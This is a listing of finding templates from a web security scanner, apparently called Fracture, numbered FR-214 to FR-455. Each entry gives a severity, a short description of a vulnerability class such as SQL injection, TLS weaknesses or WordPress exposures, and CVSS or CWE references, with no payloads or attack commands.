An unrecognised HTTP response header was identified. Custom or proprietary headers may disclose internal platform detail...
— —
FR-214 LOW Software Version Disclosed
Software version information was identified in response headers, HTML meta tags, error pages, or JavaScript files. A kno...
— 200 497
FR-215 LOW Virtual Host Discovered
A virtual host was identified via Host header fuzzing or DNS enumeration. Additional virtual hosts on the same IP may ha...
— 200 497
FR-216 HIGH Subdomain Takeover — Dangling CNAME
A CNAME DNS record points to an unclaimed external service endpoint. An attacker can claim this endpoint and serve malic...
— —
FR-217 MEDIUM Subdomain Takeover Indicator
A response pattern suggesting a potential subdomain takeover was detected. The subdomain may be claimable on the identif...
— —
FR-218 HIGH DNS Zone Transfer Permitted (AXFR)
The DNS server permits full zone transfer (AXFR) requests, allowing any external host to retrieve all DNS records for th...
7.5 200 16
FR-219 INFO Interesting Endpoint Discovered
An interesting URL or endpoint was discovered during crawling or discovery. The endpoint may expose sensitive functional...
— 200 284
FR-220 INFO Authenticated Interesting Endpoint
An interesting endpoint was discovered while authenticated. The endpoint may expose functionality that should be restric...
— 200 284
FR-221 HIGH Sensitive File Exposed
A sensitive file was found accessible on the web server. Sensitive files may contain credentials, configuration data, pr...
7.5 CWE-530
FR-222 CRITICAL Sensitive Path Accessible
A sensitive path was found accessible that should require authentication or should not be publicly reachable. Accessing ...
— 200 284
FR-223 HIGH Admin Panel Exposed
An administrative panel or management interface was found publicly accessible. Exposure of admin panels increases the at...
— —
FR-224 HIGH Exposed Admin/Debug Endpoint
A debug or administrative endpoint was found publicly accessible. These endpoints may expose configuration data, heap du...
— —
FR-225 INFO Web Files Downloaded
Downloadable files (e.g., backups, exports, documents) were identified on the web server. Downloadable files may contain...
— —
FR-226 INFO Web Screenshot Captured
A screenshot of the web application was captured using a headless browser. This provides visual context for the applicat...
— —
FR-227 LOW Hidden Parameter Discovered
A hidden form parameter or non-visible request parameter was discovered. Hidden parameters may be used to pass state or ...
— 200 284
FR-228 INFO Non-Login Form Detected
A non-authentication form was detected in the application. Forms may be entry points for injection attacks, CSRF, or dat...
— 200
FR-229 INFO Login Page Detected
An authentication login page was identified. The login page is the primary target for brute-force, credential stuffing, ...
— 200
FR-230 INFO Application Identified at Login Page
The application technology or platform was identified from the login page appearance, form fields, or response headers. ...
— CWE-200
FR-231 INFO Authentication Method Identified
The authentication method used by the application was identified (e.g., form-based login, HTTP Basic, Digest, NTLM, Toke...
— CWE-200
FR-232 INFO Password Reset Endpoint Exposed
A password reset endpoint was identified. Password reset flows are frequently targeted for account takeover via insecure...
— 640
FR-233 INFO Active Session Management Interface Detected
An active session management interface was detected (e.g., a page showing currently active sessions). This interface may...
— —
FR-234 INFO File Upload Endpoint Detected
A file upload endpoint was detected. File upload functionality is a common attack vector for web shell upload, client-si...
— 200 284
FR-235 LOW Information Disclosure: WordPress Version
The WordPress version was identified. A known version allows attackers to rapidly identify version-specific CVEs affecti...
— —
FR-236 HIGH WordPress Vulnerability / Misconfiguration
A WordPress-specific vulnerability or security misconfiguration was identified. WordPress misconfigurations may allow un...
5.3 284 16 200
FR-237 HIGH WordPress Users Exposed via REST API
WordPress usernames were enumerated via the REST API /wp-json/wp/v2/users endpoint. Exposed usernames enable targeted br...
— —
FR-238 HIGH WordPress User Enumeration via Author Archives
WordPress usernames were enumerated by probing author archive URLs (?author=N). The server redirected to user-specific a...
— —
FR-239 HIGH WordPress Debug Log Exposed
The WordPress debug log (wp-content/debug.log) is publicly accessible. Debug logs may contain database credentials, file...
— —
FR-240 CRITICAL WordPress wp-config.php Source Code Exposed
The WordPress configuration file (wp-config.php) or a backup of it is accessible and returns source code. This file cont...
9.8 200 312 540
FR-241 MEDIUM WordPress wp-cron.php Publicly Accessible
The WordPress wp-cron.php file is publicly accessible and can be triggered by external requests. Unrestricted access all...
5.3 284 16 200
FR-242 INFO WordPress Multisite Installation Detected
A WordPress Multisite installation was detected. Multisite installations have a larger attack surface as vulnerabilities...
5.3 200 548
FR-243 INFO WordPress Plugins Detected in Page Source
WordPress plugin names were identified from page source references to wp-content/plugins/. Known plugin names allow atta...
5.3 200 548
FR-244 INFO WordPress Parent Theme Detected
A WordPress parent theme was identified. Known theme names allow attackers to check for theme-specific CVEs and misconfi...
5.3 200 548
FR-245 HIGH WordPress Backup/Export File Exposed
A WordPress backup or export file was found accessible on the web server. These files may contain the full database dump...
7.5 200 312 538
FR-246 CRITICAL WordPress Configuration Backup Exposed
A WordPress configuration backup file was found accessible. Configuration backups may expose database credentials, salts...
— —
FR-247 MEDIUM WordPress Directory Listing Enabled
Directory listing is enabled on a WordPress directory (wp-content, plugins, themes, or uploads). This allows enumeration...
5.3 200 548
FR-248 HIGH PHP Error Log Exposed
A PHP error log file is publicly accessible. Error logs may contain database credentials, file system paths, internal fu...
— —
FR-249 HIGH TimThumb Script Detected
The TimThumb image resizing script was detected. Outdated versions of TimThumb contain remote file inclusion vulnerabili...
7.5 434 94
FR-250 HIGH Sensitive WordPress Path Accessible
A sensitive WordPress file or directory was found publicly accessible. This may expose credentials, configuration, or in...
5.3 284 16 200
FR-251 INFO Discovery: SSL/TLS Certificate
TLS certificate identity and validity metadata was extracted including subject CN, issuer, Subject Alternative Names (SA...
— —
FR-252 HIGH SSL/TLS Certificate: Expired
The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in cert...
— —
FR-253 HIGH SSL/TLS Certificate: Hostname Mismatch
The TLS certificate's Subject Alternative Names do not cover the target hostname. Clients will display a certificate mis...
— —
FR-254 MEDIUM SSL/TLS Certificate: Self-Signed
The server presented a self-signed TLS certificate not anchored to a publicly trusted CA, preventing clients from verify...
— —
FR-255 LOW SSL/TLS DNS: Missing CAA Record
No CAA (Certification Authority Authorization) DNS record exists for the domain. Without CAA, any certificate authority ...
3.7 295 16
FR-256 MEDIUM SSL/TLS Vulnerability: SWEET32
3DES cipher suites are accepted, making the server susceptible to the SWEET32 birthday attack (CVE-2016-2183). An attack...
5.9 CWE-327
FR-257 MEDIUM SSL/TLS Vulnerability: BEAST
TLSv1.0 is enabled with CBC cipher suites, making the server susceptible to the BEAST attack (CVE-2011-3389). BEAST allo...
5.9 CWE-326 CWE-327
FR-258 MEDIUM SSL/TLS Vulnerability: LUCKY13
CBC cipher suites are accepted, making the server susceptible to the LUCKY13 timing attack (CVE-2013-0169). LUCKY13 allo...
5.9 CWE-326 CWE-327
FR-259 INFO TLS Version Identified
The negotiated TLS protocol version was identified via a socket-level probe. This provides baseline TLS version context ...
5.9 CWE-326 CWE-327
FR-260 MEDIUM SSL/TLS Ciphers: Weak Cipher
A weak or deprecated cipher suite was identified in the server's TLS configuration. Weak ciphers may allow passive decry...
5.9 CWE-326 CWE-327
FR-261 CRITICAL Heartbleed (CVE-2014-0160) Vulnerability Detected
The server is vulnerable to Heartbleed (CVE-2014-0160). Attackers can read up to 64 KB of server memory per request, exp...
7.5 CWE-125
FR-262 INFO SSL/TLS Grade
testssl.sh assigned an overall TLS grade to the target. The grade summarises the TLS configuration quality across protoc...
— —
FR-263 LOW Missing Security Header
One or more HTTP security headers are absent from the server response. Missing security headers weaken the browser's abi...
— —
FR-264 LOW Permissive Security Header: Content-Security-Policy
The Content-Security-Policy header is present but contains permissive directives such as 'unsafe-inline', 'unsafe-eval',...
— —
FR-265 LOW Permissive Security Header: X-Frame-Options
The X-Frame-Options header is set to ALLOW-FROM or is absent, allowing the page to be embedded in iframes from arbitrary...
— —
FR-266 LOW Permissive Security Header: Strict-Transport-Security
The Strict-Transport-Security header is present but has an insufficient max-age value or is missing the includeSubDomain...
— —
FR-267 LOW Permissive Security Header: Referrer-Policy
The Referrer-Policy header allows sensitive URL information to be included in the Referer header sent to third-party ori...
— —
FR-268 LOW Permissive Security Header: X-Content-Type-Options
The X-Content-Type-Options header is missing or set to a value other than 'nosniff', allowing browsers to MIME-sniff the...
— —
FR-269 LOW Permissive Security Header: Cache-Control
Sensitive pages lack appropriate Cache-Control directives, allowing browser or proxy caches to store sensitive data. Cac...
— —
FR-270 LOW Missing Cache-Control on Sensitive Page
An authenticated or sensitive page does not set Cache-Control headers to prevent caching. The page content may be stored...
— —
FR-271 LOW Misconfigured Expect-CT Header (max-age=0 with enforce)
The Expect-CT header is set with max-age=0 and the enforce directive. This configuration is contradictory and ineffectiv...
— —
FR-272 INFO Endpoint-Specific Security Header Found
A security header was found present on a specific endpoint but absent on the main application root. Inconsistent header ...
— 200 284
FR-273 CRITICAL SQL Injection (Error-Based)
Error-based SQL injection was detected. Database error messages containing SQL syntax are returned in response to crafte...
9.8 CWE-20 CWE-89 CWE-943
FR-274 CRITICAL SQL Injection Confirmed by sqlmap
sqlmap confirmed SQL injection on the target parameter. SQL injection allows attackers to read, modify, or delete databa...
9.8 CWE-20 CWE-89 CWE-943
FR-275 CRITICAL Second-Order SQL Injection
A second-order (stored) SQL injection vector was identified. User-supplied input stored in the database is later include...
9.8 CWE-20 CWE-89 CWE-943
FR-276 CRITICAL OS Command Injection
OS command injection was detected. User-supplied input is passed to an operating system shell without sanitisation, allo...
9.8 CWE-20 CWE-77 CWE-78
FR-277 CRITICAL Remote Code Execution via Code Injection
Server-side code injection leading to remote code execution was detected. User-supplied input is evaluated as server-sid...
9.8 94 78 95
FR-278 HIGH Reflected Cross-Site Scripting (XSS)
Reflected XSS was detected. User-supplied input is immediately reflected in the server response without encoding, allowi...
7.4 CWE-79 CWE-116
FR-279 CRITICAL Stored Cross-Site Scripting (XSS)
Stored XSS was detected. User-supplied input is persisted and later rendered in the browser without encoding, allowing a...
8.0 CWE-79 CWE-116
FR-280 HIGH DOM-Based Cross-Site Scripting (XSS)
DOM-based XSS was detected. JavaScript in the page reads attacker-controlled data from an insecure source (URL fragment,...
7.4 CWE-79 CWE-116
FR-281 HIGH XSS Confirmed by dalfox
dalfox confirmed a Cross-Site Scripting (XSS) vulnerability with a working payload that executes in the browser. XSS ena...
7.4 CWE-79 CWE-116
FR-282 MEDIUM CSV / Formula Injection
CSV/formula injection was detected. User-supplied input containing spreadsheet formula characters (=, +, -, @) is includ...
5.5 1236
FR-283 MEDIUM CRLF Injection
CRLF injection was detected. Carriage return and line feed characters in user input are reflected in HTTP response heade...
6.1 93 113
FR-284 HIGH Log Injection / CRLF in Log Entries
Log injection was detected. User-supplied input containing CRLF characters is written to application logs without saniti...
5.3 117
FR-285 MEDIUM HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution was detected. Duplicate query or body parameters with different values are processed inconsiste...
— —
FR-286 MEDIUM HTTP Method Tampering
An unexpected HTTP method was accepted by the server. Accepting non-standard methods (e.g., TRACE, PUT, DELETE, PATCH) m...
5.4 CWE-650
FR-287 MEDIUM HTTP Methods: Unsafe Methods Enabled
The HTTP TRACE method is enabled. TRACE echoes the full request including HTTP headers back to the client, enabling Cros...
5.4 16 693
FR-288 CRITICAL Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) was detected. User-supplied URLs or hostnames are used by the server to make outbound...
9.3 CWE-441 CWE-918
FR-289 HIGH Blind SSRF — Internal Network Probing
Blind SSRF was detected via out-of-band interaction. The server made a DNS or HTTP request to an attacker-controlled hos...
— —
FR-290 CRITICAL Insecure Deserialization — Serialized Object Accepted
A serialised object was accepted by the application without signature verification. Insecure deserialisation can lead to...
— —
FR-291 CRITICAL Insecure Deserialization — YAML Tag Injection
A YAML tag injection payload was accepted by the application. YAML parsers that support arbitrary Python object instanti...
— —
FR-292 HIGH Insecure Deserialization — Error Disclosure
A deserialisation error was triggered by a crafted payload and the error message was returned in the response. Error dis...
— —
FR-293 HIGH Verbose Error Messages — Stack Trace Disclosed
A detailed stack trace or internal error message was returned in response to a crafted request. Stack traces disclose so...
— —
FR-294 HIGH Credentials/Secret in JavaScript
Credentials, API keys, tokens, or other secrets were identified in client-side JavaScript source files. Client-side secr...
7.5 CWE-259 CWE-798
FR-295 HIGH Sensitive Information in Source
Sensitive information (credentials, internal URLs, private keys, PII, or internal comments) was identified in the HTML s...
5.3 200 615
FR-296 CRITICAL Weak or Default Credentials Accepted
Weak, default, or commonly-used credentials were successfully authenticated. Default or weak credentials allow attackers...
9.8 CWE-1392
FR-297 HIGH Missing Rate Limiting / Brute-Force Protection
The authentication endpoint does not implement rate limiting or brute-force protection. Attackers can submit unlimited l...
— —
FR-298 MEDIUM Insufficient Auth Failure Logging / No Brute-Force Detection
Authentication failures are not logged or no alerting is configured for repeated failures. Without logging, brute-force ...
— —
FR-299 MEDIUM Timing Attack — Non-Constant-Time Authentication
A statistically significant timing difference was observed between valid and invalid authentication attempts. Timing ora...
5.9 208 697
FR-300 CRITICAL JWT None Algorithm Authentication Bypass
The JWT library accepts tokens with the 'none' algorithm, meaning the signature field is empty and no verification is pe...
9.1 CWE-347
FR-301 CRITICAL JWT Vulnerability: 'none' Algorithm Accepted
The application accepted a JWT token with the 'none' algorithm specified in the header, bypassing signature verification...
— —
FR-302 CRITICAL JWT Vulnerability Confirmed by jwt_tool
jwt_tool confirmed a JWT vulnerability that allows token forgery or authentication bypass. JWT vulnerabilities enable im...
— —
FR-303 MEDIUM JWT — Missing Expiry Claim (No exp)
The JWT token does not contain an 'exp' (expiry) claim. Tokens without expiry never become invalid, meaning a stolen tok...
5.3 613 287
FR-304 INFO JWT Token Identified: Algorithm
A JWT token was identified in the application. The JWT header algorithm has been extracted for analysis.
— —
FR-305 HIGH Potentially Predictable Session Token
The session token appears to have low entropy or a predictable pattern. Predictable tokens allow attackers to brute-forc...
7.5 330 331 335
FR-306 HIGH Low-Entropy Session Token
The session token has low statistical entropy as measured across multiple sample tokens. Low-entropy tokens can be brute...
7.5 330 331 335
FR-307 HIGH Session Fixation Vulnerability
The application does not rotate the session identifier after successful authentication. An attacker can set a known sess...
— —
FR-308 HIGH Session Not Invalidated After Logout
The server-side session is not invalidated after the user logs out. The session token remains valid for an extended peri...
— —
FR-309 HIGH Session Not Invalidated Server-Side After Logout
The pre-logout session token remains valid server-side after the logout request. An attacker who obtains a session token...
— —
FR-310 MEDIUM Session Timeout Absent or Excessive
The session does not expire after a reasonable period of inactivity, or no session timeout is configured. Long-lived ses...
— —
FR-311 MEDIUM Excessive Session Timeout Configured
The session cookie or JWT has an excessive lifetime (e.g., multiple days or weeks) that does not reflect the risk level ...
— —
FR-312 MEDIUM Session Cookie SameSite=None Without Secure Flag
A session cookie is set with SameSite=None but without the Secure flag. Without Secure, the cookie is transmitted over p...
— —
FR-313 MEDIUM Missing Secure Cookie Attribute: Secure
A non-session cookie lacks the Secure attribute. Without Secure, the cookie is transmitted over unencrypted HTTP connect...
4.3 614 1004 1275
FR-314 MEDIUM Missing Secure Cookie Attribute: HttpOnly
A non-session cookie lacks the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value, e...
4.3 614 1004 1275
FR-315 MEDIUM Missing Secure Cookie Attribute: SameSite
A cookie lacks the SameSite attribute. Without SameSite, the cookie is sent with cross-site requests, enabling CSRF atta...
4.3 614 1004 1275
FR-316 MEDIUM Misconfigured Secure Cookie Attribute: SameSite
A cookie has a misconfigured SameSite attribute (e.g., SameSite=None without Secure). Misconfigured SameSite settings ca...
4.3 614 1004 1275
FR-317 MEDIUM No Logout (Logoff) Function Detected
No logout or logoff function was identified in the application. Without an explicit logout mechanism, users cannot termi...
— —
FR-318 MEDIUM No Concurrent Session Limit Detected
The application allows unlimited concurrent sessions for a single user account. Without a concurrent session limit, comp...
— —
FR-319 INFO Concurrent Session Limit Enforced
The application enforces a concurrent session limit. When a new session is established, existing sessions are invalidate...
— —
FR-320 HIGH CORS Misconfiguration Allowing Credential Leakage
The CORS configuration reflects arbitrary origins with Access-Control-Allow-Credentials: true. This allows attacker-cont...
7.4 CWE-942
FR-321 HIGH JSONP Endpoint — Cross-Origin Data Leakage
A JSONP endpoint was identified. JSONP endpoints allow any website to read the response content by including a script ta...
6.5 346 200
FR-322 HIGH Cross-Site Request Forgery (CSRF) — Missing Token
A state-changing request (POST, PUT, PATCH, DELETE) does not include a CSRF token or other origin verification mechanism...
— —
FR-323 HIGH Unauthenticated Access to Protected Path
A path or endpoint that should require authentication returned a successful response (HTTP 200) without providing valid ...
7.5 284 306 862
FR-324 HIGH Debug Mode Enabled / Developer Console Exposed
A debug mode or developer console is enabled and publicly accessible. Debug interfaces may expose command execution, env...
— —
FR-325 HIGH Cross-User Data Leakage (IDOR)
Data belonging to one user was returned when authenticated as a different user by manipulating object identifiers. This ...
— —
FR-326 HIGH Broken Object Level Authorization (IDOR / BOLA)
Object-level authorisation is insufficient. Manipulation of object identifiers (IDs, UUIDs, slugs) allows access to reso...
8.1 CWE-639
FR-327 HIGH Broken Function Level Authorization (BFLA)
Function-level authorisation is insufficient. A lower-privileged user can access administrative or elevated-privilege en...
8.8 CWE-285
FR-328 HIGH BFLA: Role Can Access Admin Path
A lower-privileged role was able to access an administrative path. This demonstrates a broken function-level access cont...
— —
FR-329 HIGH Mass Assignment / Privilege Escalation via Parameter Binding
The application binds user-supplied request parameters directly to server-side objects without filtering. This allows at...
8.1 CWE-915
FR-330 HIGH API Endpoint Returns Same Data for All Users
An API endpoint returns identical data regardless of the authenticated user's identity. This may indicate missing author...
7.5 285 639
FR-331 MEDIUM Exposed Metrics Endpoint with Sensitive Data
An application metrics or health check endpoint is publicly accessible and exposes sensitive information such as databas...
7.5 200 284 497
FR-332 HIGH Business Logic — Hidden Price/Value Field Tampering
A hidden form field or request parameter controlling a monetary or critical value (e.g., price, quantity, discount) can ...
— —
FR-333 HIGH Business Logic — Numeric Field Accepts Negative/Zero Value
A numeric field (e.g., quantity, amount) accepts negative or zero values that the business logic does not validate, pote...
— —
FR-334 HIGH Business Logic — Potential Race Condition (Duplicate Submission)
Rapid concurrent submissions of the same request produce responses suggesting duplicate processing. A race condition may...
— —
FR-335 HIGH Business Logic — Workflow Step Directly Accessible
A multi-step workflow step is directly accessible without completing preceding steps. This allows skipping of security c...
— —
FR-336 LOW GraphQL Field Suggestions Enabled
GraphQL field suggestions are enabled. When an invalid field name is queried, the server responds with suggestions for s...
— —
FR-337 MEDIUM GraphQL Batch Query Attack Possible
GraphQL batch query execution is enabled without rate limiting. Batching allows multiple operations in a single request,...
— —
FR-338 HIGH Public Exploit Available
A public exploit was found matching an identified software component or version. The existence of a public exploit signi...
8.1 CWE-1035
FR-339 HIGH Information Disclosure: Credentials in URL Query Parameters
Credentials or session tokens were found transmitted in URL query parameters. URL query parameters are stored in browser...
— —
FR-340 INFO WAF/CDN Possible Session Termination
An unexpected HTTP status was returned by the target, suggesting a possible session termination by WAF bot-detection heu...
— —
FR-341 Admin Panel Exposed: {apath} — —
FR-342 CDN Active: {_recon_cdn} — —
FR-343 CMS Detected: {cms} — —
FR-344 Credentials/Secret in JavaScript: {secret_type} — —
FR-345 Deprecated Protocol Enabled: {_tsf_proto} — —
FR-346 Endpoint-Specific Security Header Found: {_hn} — —
FR-347 Exposed Admin/Debug Endpoint: {path} — —
FR-348 Hidden Parameter Discovered: {param} — —
FR-349 HTTP Header Fingerprints {_fp_tech}: {hdr_name} — —
FR-350 HTTP Header Fingerprints {_pn_fp_tech}: {pname} — —
FR-351 HTTP Method Tampering: {method} Accepted — —
FR-352 JWT Token Identified: Algorithm {alg} — —
FR-353 Missing Security Header: {_hdr_name} — —
FR-354 Missing Security Header: {_hn} — —
FR-355 Missing Security Header: {hdr_name} — —
FR-356 Missing Security Header: {hdr} — —
FR-357 Nuclei: {ntitle} — —
FR-358 PHP Error Log Exposed: {_el} — —
FR-359 Potential CDN Origin Bypass: {_recon_cdn} — —
FR-360 Public Exploit Available: {term} — —
FR-361 Sensitive File Exposed: {fpath} — —
FR-362 Sensitive Information in Source: {_sp_label} — —
FR-363 Sensitive Path Accessible: {cpath} — —
FR-364 Sensitive WordPress Path Accessible: {_ep} — —
FR-365 Server-Side Request Forgery (SSRF) — {ssrf_desc} — —
FR-366 Software Version Disclosed: {_vname} {_vver} — —
FR-367 SSL/TLS Grade: {_ts_grade} — —
FR-368 SSL/TLS Vulnerability (Potential): {_tsf_id} — —
FR-369 SSL/TLS Vulnerability: {_tsf_id} — —
FR-370 Subdomain Takeover Indicator ({service}) — —
FR-371 Subdomain Takeover — Dangling CNAME ({service}) — —
FR-372 TimThumb Script Detected: {_t_name}{_tv2_str} — —
FR-373 Unauthenticated {_bi_name} Access: {_bi_desc} — —
FR-374 Unknown Header Identified: {hdr_name} — —
FR-375 Unknown Header Identified: {pname} — —
FR-376 Virtual Host Discovered: {full_vhost} — —
FR-377 WAF / Edge Security Platform Active: {_waf_names} — —
FR-378 WAF/CDN Challenge Page Active: {waf_cdn} — —
FR-379 WAF/CDN IP Block Detected: {waf_cdn} — —
FR-380 WAF/CDN Possible Session Termination: {waf_cdn} — —
FR-381 WAF/CDN Session Termination Detected: {waf_cdn} — —
FR-382 Web Cache Poisoning: {_wcp_hdr} Reflected — —
FR-383 Wildcard (*) Detected: {url} — —
FR-384 WordPress Backup/Export File Exposed: {_bkp} — —
FR-385 WordPress Configuration Backup Exposed: {_cb} — —
FR-386 WordPress Directory Listing Enabled: {_dp} — —
FR-387 WordPress Parent Theme Detected: {_pt_name}{_pt_ver_str} — —
FR-388 WordPress Plugins Detected in Page Source ({len(_passive_plugins)} plugin(s)) — —
FR-389 WordPress User Enumeration via Author Archives ({len(_author_users)} user(s)) — —
FR-390 WordPress Users Exposed via REST API ({len(_ru_extracted)} user(s)) — —
FR-391 Information Disclosure: WordPress Version — —
FR-392 Authentication Failure Detected — —
FR-393 Login Page Identified — —
FR-394 Missing Security Headers — —
FR-395 Multi-Factor Authentication Detected — —
FR-396 No Web Structure Identified — —
FR-397 SSL/TLS Certificate: Chain Incomplete 3.7 CWE-295 CWE-326
FR-398 SSL/TLS Certificate: Long Duration 3.7 CWE-295 CWE-326
FR-399 SSL/TLS Certificate: Missing SAN 3.7 CWE-295 CWE-326
FR-400 SSL/TLS Certificate: Serial Number Entropy — CWE-200
FR-401 SSL/TLS Certificate: Weak Encryption Method 3.7 CWE-295 CWE-326
FR-402 SSL/TLS Cipher: No Cipher Order Configured 5.9 CWE-326 CWE-327
FR-403 SSL/TLS Ciphers: Obsolete Ciphers 5.9 CWE-326 CWE-327
FR-404 SSL/TLS Session: Long Duration 5.9 CWE-326 CWE-327
FR-405 HIGH BFLA: Role '{low_role}' Can Access Admin Path
A lower-privileged role can access an administrative endpoint that should be restricted to higher-privilege roles, indic...
— CWE-285
FR-406 MEDIUM CBC Mode Cipher Suites Accepted
The server accepts TLS cipher suites using Cipher Block Chaining (CBC) mode, which are vulnerable to padding oracle atta...
— CWE-327
FR-407 MEDIUM SSL/TLS Forward Secrecy: Cipher Suites
The server accepts cipher suites that do not provide forward secrecy (e.g., RSA key exchange without ECDHE or DHE), mean...
— CWE-326
FR-408 HIGH HTTP Request Smuggling — CL.0 Client-Side Desync
The server is vulnerable to CL.0 client-side desync, a variant of HTTP request smuggling where the server ignores a Cont...
— CWE-444
FR-409 HIGH HTTP Request Smuggling — CL.TE Desync
The front-end server uses Content-Length while the back-end uses Transfer-Encoding, allowing an attacker to smuggle a se...
— CWE-444
FR-410 HIGH HTTP Request Smuggling — TE Obfuscation Desync
The server is vulnerable to Transfer-Encoding obfuscation, where variations of the TE header (e.g., extra whitespace, li...
— CWE-444
FR-411 HIGH HTTP Request Smuggling — TE.CL Desync
The front-end server uses Transfer-Encoding while the back-end uses Content-Length, allowing an attacker to smuggle a se...
— CWE-444
FR-412 HIGH Host-Header SSRF Surface ({label})
The application reflects or acts upon the Host header value in server-side operations, creating a potential Server-Side ...
— CWE-918 CWE-644
FR-413 HIGH JWT Signing Secret Brute-Force Recovered ({alg})
The JWT signing secret was recovered through brute-force or dictionary attack, allowing an attacker to forge valid token...
— CWE-347 CWE-521
FR-414 INFO Load Balancer Detected: {_lb_label}
A load balancer, CDN, or reverse proxy was detected in front of the target application based on response headers, cookie...
— —
FR-415 LOW Missing Subresource Integrity — {entry['tag']} from {entry['host']}
An HTML page loads a script or stylesheet from an external CDN or third-party host without a Subresource Integrity (SRI)...
— CWE-353
FR-416 MEDIUM Nikto: {_nik_title}
A web server vulnerability or misconfiguration was identified by the Nikto scanner that does not map to a known Fracture...
— —
FR-417 MEDIUM Non-Standard Cipher Suites Accepted
The server accepts non-standard or experimental TLS cipher suites that may not have undergone the same level of cryptogr...
— CWE-327
FR-418 HIGH Reflected Cross-Site Scripting (XSS) — POST Parameter
A POST request parameter is reflected in the server's response without proper output encoding, allowing injection of mal...
— CWE-79
FR-419 MEDIUM SHA-1 HMAC Cipher Suites Accepted
The server accepts TLS cipher suites using SHA-1 for HMAC authentication. SHA-1 is considered cryptographically weak due...
— CWE-328
FR-420 MEDIUM SSL/TLS Forward Secrecy: {_tsf_id}
A specific forward secrecy configuration issue was identified by testssl. The finding ID provides details on the exact c...
— CWE-326
FR-421 LOW SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED]
The server may be vulnerable to the LUCKY13 timing attack, a padding oracle attack against TLS CBC-mode cipher suites th...
— CWE-208
FR-422 MEDIUM TLSv1.3 Not Supported
The server does not support TLS 1.3, the latest version of the Transport Layer Security protocol, which provides improve...
— CWE-326
FR-423 HIGH Vulnerable Component: {pname} {version}
A third-party software component with known vulnerabilities was identified in the application's technology stack. The sp...
— CWE-1104
FR-424 MEDIUM {proto} Enabled
A deprecated or insecure protocol version is enabled on the server. The specific protocol (e.g., SSLv3, TLSv1.0, TLSv1.1...
— CWE-327
FR-425 MEDIUM Cookie Prefix Violation: __Host-
A cookie using the __Host- prefix does not meet RFC 6265bis requirements (must have Secure flag, Path=/, no Domain attri...
4.3 CWE-614
FR-426 MEDIUM Cookie Prefix Violation: __Secure-
A cookie using the __Secure- prefix is missing the Secure flag required by RFC 6265bis.
4.3 CWE-614
FR-427 LOW HSTS Not Preload-Ready
The Strict-Transport-Security header is present but does not meet browser preload list requirements.
— CWE-523
FR-428 INFO Missing Cross-Origin Isolation Header: {header}
One or more cross-origin isolation headers (COOP, COEP, CORP) are not set.
— CWE-346
FR-429 MEDIUM JavaScript Source Map Exposed
A .js.map source map file is publicly accessible, exposing the original unminified source code.
5.3 CWE-540
FR-430 MEDIUM Inline Source Map in JavaScript Bundle
A JavaScript bundle contains an inline sourceMappingURL data URI embedding the original source code.
5.3 CWE-540
FR-431 LOW Content-Type Confusion
The server responds with a Content-Type that does not match the requested Accept header without X-Content-Type-Options e...
— CWE-430
FR-432 HIGH Server-Side Prototype Pollution
The application processes JSON input containing __proto__ or constructor.prototype properties, allowing modification of ...
7.3 CWE-1321
FR-433 MEDIUM Potential Client-Side Prototype Pollution
JavaScript files use known prototype pollution sinks such as Object.assign, _.merge, or $.extend with user-controllable ...
6.1 CWE-1321
FR-434 CRITICAL Server-Side Include (SSI) Injection
The application processes SSI directives embedded in user input, allowing execution of server-side commands.
9.8 CWE-97
FR-435 HIGH Edge Side Include (ESI) Injection
The application reflects user input through an ESI-capable cache layer, allowing injection of ESI include directives.
7.5 CWE-94
FR-436 HIGH Email Header Injection
A contact or email form accepts CRLF sequences in input fields, allowing injection of additional email headers.
7.5 CWE-93
FR-437 HIGH Unicode Normalization Bypass in Authentication
The login form processes Unicode lookalike characters differently than expected, potentially mapping them to valid usern...
7.5 CWE-176
FR-438 HIGH WebSocket Endpoint Missing Authentication
A WebSocket endpoint accepts upgrade requests without requiring authentication credentials.
7.5 CWE-306
FR-439 MEDIUM WebSocket Missing Origin Validation
A WebSocket endpoint accepts connections from arbitrary origins without validating the Origin header.
5.3 CWE-346 CWE-1385
FR-440 HIGH WebSocket Message Injection (XSS)
The WebSocket endpoint reflects user-supplied message content without sanitization, enabling script injection.
7.1 CWE-79
FR-441 HIGH Web Cache Deception
Appending a static file extension to authenticated URLs causes the CDN/proxy to cache and serve sensitive content public...
7.5 CWE-525
FR-442 HIGH OAuth redirect_uri Open Redirect
The OAuth authorization endpoint does not strictly validate the redirect_uri parameter, allowing redirection to attacker...
7.4 CWE-601
FR-443 MEDIUM OAuth Missing State Parameter (CSRF)
The OAuth authorization flow does not require or validate a state parameter for CSRF protection.
5.3 CWE-352
FR-444 HIGH Information Disclosure: OAuth Token via URL
The OAuth implementation uses the implicit flow, placing access tokens in URL fragments.
7.5 CWE-598 CWE-200
FR-445 HIGH OAuth Scope Escalation
The OAuth authorization server grants elevated scopes beyond what the client originally requested.
8.1 CWE-269
FR-446 CRITICAL MFA Bypass — Direct Navigation
Protected pages are accessible by direct URL navigation after initial authentication, bypassing the MFA verification ste...
9.8 CWE-287
FR-447 MEDIUM MFA Missing Rate Limiting on OTP
The MFA verification endpoint does not enforce rate limiting on OTP submission attempts.
5.3 CWE-287 CWE-307
FR-448 INFO API Endpoint Missing Rate Limiting
An API endpoint does not enforce rate limiting, responding to 10 rapid requests without throttling.
— CWE-770
FR-449 MEDIUM GraphQL Alias-Based Batching
The GraphQL endpoint processes aliased duplicate queries in a single request, bypassing per-query rate limiting.
5.3 CWE-770
FR-450 MEDIUM GraphQL Circular Fragment Accepted
The GraphQL endpoint accepts queries with circular fragment references that could cause infinite recursion.
5.3 CWE-674
FR-451 INFO GraphQL Field Duplication Not Limited
The GraphQL endpoint processes queries with many duplicated fields without limiting the result set.
— CWE-770
FR-452 MEDIUM GraphQL Debug Extensions Exposed
The GraphQL response includes an extensions field containing debug information.
5.3 CWE-215
FR-453 MEDIUM HTTP/2 Cleartext Upgrade (h2c) Accepted
The server or reverse proxy accepts HTTP/2 cleartext upgrade requests.
5.3 CWE-444
FR-454 HIGH h2c Smuggling — Internal Endpoint Accessible
An internal endpoint that is blocked at the proxy level becomes accessible when requested via an h2c upgrade connection.
7.5 CWE-284 CWE-444
FR-455 MEDIUM Information Disclosure: Internal IP in HTTP Response
